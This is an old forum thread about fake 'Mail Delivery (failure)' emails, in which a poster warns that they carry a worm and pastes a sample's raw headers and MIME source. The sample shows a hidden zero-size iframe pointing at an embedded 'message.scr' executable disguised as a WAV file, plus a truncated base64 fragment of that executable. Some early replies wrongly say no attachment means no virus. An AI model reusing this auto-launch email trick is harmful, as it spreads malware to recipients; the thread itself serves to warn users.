junk emails

Dear friends,

We are receiving mails from unknown users like

a) From: krh1@usa.net [mailto:krh1@usa.net]
Sent: Tuesday, August 10, 2004 11:30
To: support@meeea.com
Subject: Mail Delivery (failure support@meeea.com)


If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.meeea.com/inbox/support/read.php?sessionid-1708

b)From: biju@eissolution.com [mailto:biju@eissolution.com]
Sent: Monday, August 16, 2004 03:32
To: williams@eissolution.com
Subject: Mail Delivery (failure williams@eissolution.com)


If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.eissolution.com/inbox/williams/read.php?sessionid-29176

and so on. I don't know from where these mails come? Is it a virus? What should we do to avoid such mails?

Expecting help,
Vipin

No these look just like Delivery failure messages, these are automaticly sent from servers if they couldn't deliver your email. Within the message it should have the reason that the email couldn't be delievered.

Moving this to mail servers others there can help if you have more questions.

But the mail doesn't give any further reasons. So can i make sure that this is not any virus!
Expecting reply

If there isn't an attachment there really can't be a virus with it. If there IS an attachment on it then it is most likly a virus, scan one of them with a virus scanner and see, and you'll have your answer.

Thanks a lot.

I remember having the same problem. It is due to a virus on another person's computer/server which sends fake (albeit very convincing) delivery notifications. I tried to find it on Symantec's website, but could not (I know it's there bcause I read about it there).

Anyway, the problem is not with your system at all. It's because of a virus somwhere else. If I find it or remember what it's called, I'll let you know...

Thanks Mathew

Vipin

hello folks,

sorry, if i am disappointing some of you now, but
most of these emails contain a virus, even if it is not
viewable as an attachment...
if have attached some headers of such an email to convince
you... if you click the link in your email and you use the
"wrong" mailclient, the application starts immediately and
sends emails via your account... you should definitely
delete those mails without klicking the link. you should´nt
even read those mails, because of the iframe that it
contains... on some html-capable mailclients the virus
could already start working by only opening the mail...
(by the way... the link doesn´t point to the address that it is showing...)

here is an example of such a virusmail:

From - Wed Sep 22 08:54:03 2004
X-UIDL: 1095835967.5845.xxxx.de,S=42448
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <_history-detsupercox@t-online.de>
Delivered-To: xxxx@xxxx.de
Received: (qmail 5843 invoked by uid 108); 22 Sep 2004 06:52:47 -0000
Received: from moutng.kundenserver.de (212.227.126.187)
by xxxx.de with SMTP; 22 Sep 2004 06:52:47 -0000
Received: from [212.227.126.140] (helo=mxng13.kundenserver.de)
by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
id 1CA0ze-00088F-00
for xxxx@xxxx.de; Wed, 22 Sep 2004 08:52:46 +0200
Received: from [x.x.x.x] (helo=xxxx.de)
by mxng13.kundenserver.de with esmtp (Exim 3.35 #1)
id 1CA0zb-0003Kr-00
for xxxx@xxxx.de; Wed, 22 Sep 2004 08:52:43 +0200
From: _history-detsupercox@t-online.de
To: xxxx@xxxx.de
Subject: Mail Delivery (failure xxxx@xxxx.de)
Date: Wed, 22 Sep 2004 08:52:44 +0200
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
X-RBL-Warning: (dialup.bl.kundenserver.de) This mail has been received from a dialup host.
Message-Id: <E1CA0zb-0003Kr-00@mxng13.kundenserver.de>
X-Provags-Forward: xxxx@xxxx.de -> xxxx@xxxx.de

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401xxxxM780$73387018@57Wxxxx0Re height=3D0 width=3D0>www.xxxx.de/inbox/xxxx/read.php?sessionid-25871</a>

<iframe
src=3Dcid:031401xxxxM780$73387018@57Wxxxx0Re height=3D0 width=3D0></iframe>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_001C_01C0CA80.6B015D10--

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
name="message.scr"
Content-Transfer-Encoding: base64
Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAA
AAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAAAgAQAAEAAAACAAAAAAQAAAEAAAAAIAAAQA
AAAAAAAABAAAAAAAAAAAMAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA
AAAAAAAAAAD0IAEAawAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAAAAACgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADgAADAAAAAAHRhAAAAcAAAALAAAHRvAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAAAABhAAAA

cut off the rest..